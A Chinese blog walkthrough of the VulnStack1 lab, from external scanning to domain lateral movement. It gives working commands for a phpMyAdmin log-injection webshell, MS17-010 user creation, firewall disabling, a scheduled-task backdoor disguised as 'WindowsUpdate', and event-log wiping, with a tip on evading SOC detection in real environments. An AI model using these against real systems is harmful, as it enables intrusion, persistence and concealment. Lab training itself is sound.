当前位置: 首页 > news >正文

新手也能搞定的红日靶场vulnstack1实战:从外网打点到内网横向移动(附完整命令)

红日靶场VulnStack1渗透实战:从零构建内网攻防思维

第一次接触内网渗透时,我盯着拓扑图上的多级网络边界发愣——外网打点、横向移动、权限维持这些概念就像散落的拼图碎片。直到在VulnStack1靶场中亲手用蚁剑连接上webshell,才真正理解"跳板机"三个字的分量。本文将用厨房炒菜般的步骤分解,带你体验从外网突破到域控拿下的完整攻击链。

1. 环境配置与信息收集

1.1 靶场网络拓扑解析

红日安全团队设计的这个三层网络结构,完美复现了企业常见的安全防御层次:

主机角色IP地址范围网络位置关键服务
攻击机(Kali)192.168.200.0/24外网Metasploit/CS
Web服务器(Win7)192.168.200.128DMZ区PHPStudy+ZZCMS
域成员(Win2k3)192.168.52.138/24内网生产域SMB/Telnet
域控(Win2008)192.168.52.141/24内网核心域Active Directory

重要提示:实际环境中,Win7服务器通常作为跳板机存在,其双网卡特性使其成为连接内外网的关键节点。这也是为什么我们选择它作为横向移动的起点。

1.2 外网端口扫描实战

使用Nmap进行初步侦察时,建议新手采用分阶段扫描策略:

# 快速扫描常用端口 nmap -T4 -F 192.168.200.128 # 深度扫描全端口(需时较长) nmap -p- -sV -O 192.168.200.128

当发现3306端口开放时,可以立即联想到几种可能性:

  • MySQL弱口令
  • phpMyAdmin未授权访问
  • 数据库注入漏洞

典型误操作:在一次测试中,我直接对phpMyAdmin使用admin/admin组合爆破,触发了IP封锁机制。后来改用低频次尝试才成功登录。

2. Web服务突破技巧

2.1 phpMyAdmin日志注入详解

通过phpMyAdmin获取Webshell的操作看似简单,但有几个关键点常被忽略:

  1. 确认日志文件路径是否在Web目录下
  2. 检查secure_file_priv参数是否允许文件写入
  3. 确保Web服务账户对目标目录有写权限

具体操作流程:

-- 查看当前日志配置 SHOW VARIABLES LIKE '%general%'; -- 开启日志记录并指定路径 SET GLOBAL general_log = 'ON'; SET GLOBAL general_log_file = 'C:/phpStudy/WWW/cmd.php'; -- 写入PHP代码 SELECT '<?php system($_GET["cmd"]); ?>';

避坑指南:遇到写入失败时,可以尝试修改路径为C:\\phpStudy\\WWW\\cmd.php(双反斜杠)或使用/代替\

2.2 CMS后台突破的多维思路

对于ZZCMS这类系统,除了常规的后台弱口令尝试,还有几种备选方案:

  • 模板注入:通过编辑模板文件插入恶意代码
  • 插件上传:制作包含后门的插件包
  • 数据库备份:修改备份文件中的表内容
  • 缓存写入:利用缓存机制写入Webshell

其中模板注入的具体步骤:

  1. 后台找到"模板管理"-"编辑模板"
  2. 新建.php文件并插入代码
  3. 访问/template/新建文件名.php执行

注意:现代CMS通常会限制模板文件后缀,此时可尝试.php.jpg等混合后缀,利用解析漏洞绕过。

3. 内网横向移动实战

3.1 代理通道搭建与使用

Metasploit的socks_proxy模块是内网穿透的瑞士军刀:

use auxiliary/server/socks_proxy set VERSION 4a # 使用socks4a协议兼容性更好 set SRVPORT 1080 run

配置Proxychains时,建议修改/etc/proxychains4.conf

[ProxyList] socks4 127.0.0.1 1080

性能优化:当网络延迟较高时,可以添加quiet_mode选项减少冗余输出:

proxychains -q nmap -sT -Pn 192.168.52.0/24

3.2 横向移动的多种武器

根据内网环境不同,可以选择以下几种攻击方式:

攻击方式适用场景所需条件成功率
MS17-010未打补丁的Windows系统445端口开放
SMB爆破弱口令策略管理员权限凭证
WMI执行域环境域用户权限
计划任务防火墙限制较少管理员权限

使用MS17-010进行横向移动时,这个模块比默认的exploit更稳定:

use auxiliary/admin/smb/ms17_010_command set COMMAND net user hacker P@ssw0rd /add set RHOSTS 192.168.52.138-141 run

血泪教训:在一次测试中,由于没关闭目标防火墙,导致所有MS17-010攻击失败。后来发现需要先执行:

netsh advfirewall set allprofiles state off

4. 权限维持与痕迹清理

4.1 隐蔽后门部署方案

在域环境中,以下几种后门方式较为隐蔽:

  1. 计划任务:设置每分钟执行的隐藏任务
  2. 服务注入:创建伪装成系统服务的后门
  3. 启动项:利用注册表或启动文件夹
  4. WMI事件:响应特定系统事件触发

创建计划任务的PowerShell命令:

$action = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\backdoor.exe" $trigger = New-ScheduledTaskTrigger -AtLogOn -User "NT AUTHORITY\SYSTEM" Register-ScheduledTask -TaskName "WindowsUpdate" -Action $action -Trigger $trigger -Force

4.2 日志清理实操指南

Windows事件日志清理的几种方式对比:

方法优点缺点
wevtutil cl系统自带工具需要管理员权限
手动删除.evt文件彻底清除可能引起系统异常
日志过滤器隐蔽性强配置复杂
全量日志禁用一劳永逸容易被安全设备发现

推荐使用wevtutil进行选择性清理:

:: 清理安全日志 wevtutil cl Security :: 清理系统日志 wevtutil cl System :: 清理应用日志 wevtutil cl Application

在真实环境中,我更喜欢使用事件查看器手动删除特定时间段的日志,这样更不易触发告警。记得有一次清理太彻底,反而引起了SOC团队的注意——适度的"脏数据"保留有时是最好的伪装。

http://www.jsqmd.com/news/744291/

相关文章:

  • Python点云处理总报错?3步定位坐标系错位、法向量翻转、体素滤波溢出(附可复用调试Checklist)
  • BrowserOS:基于Chromium内核的开源AI浏览器操作系统深度解析
  • 如何5分钟突破1Fichier下载限制:终极下载加速工具完全指南
  • DDrawCompat:让经典DirectX游戏在现代Windows系统上流畅运行的终极解决方案
  • 题解:CF1635E Cars
  • 2026年收藏10款主流论文降AI工具(含免费降AI率版) - 降AI实验室
  • 从零构建记忆增强系统:基于间隔重复与知识图谱的实践
  • 如何在 Taotoken 平台查看与管理您的 token 使用量与账单明细
  • PTA天梯赛L1-064:手把手教你用C++写一个‘估值一亿’的AI对话程序(附完整代码)
  • LinkSwift网盘直链下载助手:告别下载限速的八大网盘全能解决方案
  • 5步搞定音乐元数据混乱:163MusicLyrics智能整理全攻略
  • C++ SFML实现像素小猫光标追踪:从精灵动画到游戏循环实践
  • 【工业级Python轻量化落地白皮书】:覆盖PyTorch/TensorFlow/Keras三大框架,含实测吞吐量、精度衰减率与内存占用对比表(2024Q2最新基准)
  • 观察大模型API在高峰时段的响应成功率变化
  • 六西格玛证书可以挂靠吗? - 众智商学院官方
  • 题解:P11642 【MX-X8-T1】「TAOI-3」幸运草
  • ClawLock插件系统开发指南:从架构解析到实战应用
  • Verilog调试实战:用force和release快速定位FPGA仿真中的‘幽灵信号’
  • AppleRa1n终极指南:3分钟学会iOS设备激活锁绕过
  • 接口自测-1777696985
  • 告别局域网限制:手把手教你用KKPrinter源码搭建跨网段远程打印服务(Win10/11实测)
  • 使用Taotoken调用Codex模型的实际延迟与稳定性体验分享
  • 本地部署内部即时聊天IM软件选型:企业容易忽略的5个判断误区 - 小天互连即时通讯
  • 开源威胁情报自动化响应框架:从原理到实战部署指南
  • YOLOv11 改进 - 即插即用 中小目标检测飙升:Hyper 超图赋能YOLO:轻量级设计实现跨层级信息交互,增强复杂场景感知
  • Go语言微信机器人开发实战:从事件驱动架构到智能对话集成
  • OpenMemory:超越RAG的认知记忆引擎,为AI应用构建持久化智能记忆
  • nSkinz皮肤修改器:CS:GO武器皮肤免费自定义终极指南
  • 别再只画箱图了!用R的ggpubr玩转α多样性差异分析:Wilcoxon检验与高级可视化技巧
  • ComfyUI-Impact-Pack终极指南:5个核心功能彻底改变AI图像处理体验